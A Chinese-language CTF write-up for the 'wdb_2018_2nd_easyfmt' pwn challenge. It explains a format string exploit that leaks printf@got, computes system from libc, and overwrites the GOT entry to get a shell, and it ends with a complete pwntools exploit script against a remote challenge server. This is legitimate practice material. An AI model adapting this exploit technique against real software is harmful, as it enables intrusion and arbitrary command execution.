wdb_2018_2nd_easyfmt
步骤
- 例行检查,32位程序,开启了nx
- 本地试运行一下,看看大概的情况,看交互式的情况,知道存在格式化字符串漏洞
- 32位ida载入
利用思路:
- 找到格式化字符的偏移量
- 打印print@got的地址,泄露libc,计算system的地址
- 将print@got修改成system,传入参数‘/bin/bash\x00’
利用过程:
- 找到偏移为6
- 打印print@got的地址
printf_got=elf.got["printf"]
payload=p32(printf_got)+"%6$s"
p.sendlineafter("repeater?\n",payload)
p.recv(4)
printf_addr = u32(p.recv(4))
print("printf_addr ---> ",hex(printf_addr))
一个小的注意点,就是接收printf@got的地址
我是一次接收4字节,第二次接收的就是我们想要的地址了。我看pwnki师傅是用的接收到f7,然后利用python的切片语法取出来的,秒啊
p.recv()
#sleep(1)
printf = p.recvuntil('\xf7')[-4:]
- 常规的泄露libc的步骤,计算system,没法使用LibcSearcher,用的buu上下的libc
#libc=LibcSearcher('printf',printf_addr)
#libc_base=printf_addr-libc.dump('printf')
#system=libc_base+libc.dump('system')
libc=ELF('./libc-2.23(32).so')
libc_base=printf_addr-libc.symbols["printf"]
system_addr=libc_base+libc.symbols['system']
print("system_addr ---> ",hex(system_addr))
- 修改printf@got为system,由于是32位程序,所以我直接用的pwntools里的fmtstr_payload,传入bin/sh即可获取shell
payload=fmtstr_payload(6,{printf_got:system_addr})
p.sendline(payload)
p.sendline('/bin/sh\x00')
完整exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote("node3.buuoj.cn",29522)
#p=process('./wdb_2018_2nd_easyfmt')
elf=ELF('./wdb_2018_2nd_easyfmt')
printf_got=elf.got["printf"]
payload=p32(printf_got)+"%6$s"
p.sendlineafter("repeater?\n",payload)
p.recv(4)
printf_addr = u32(p.recv(4))
print("printf_addr ---> ",hex(printf_addr))
#libc=LibcSearcher('printf',printf_addr)
#libc_base=printf_addr-libc.dump('printf')
#system=libc_base+libc.dump('system')
libc=ELF('./libc-2.23(32).so')
libc_base=printf_addr-libc.symbols["printf"]
system_addr=libc_base+libc.symbols['system']
print("system_addr ---> ",hex(system_addr))
payload=fmtstr_payload(6,{printf_got:system_addr})
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()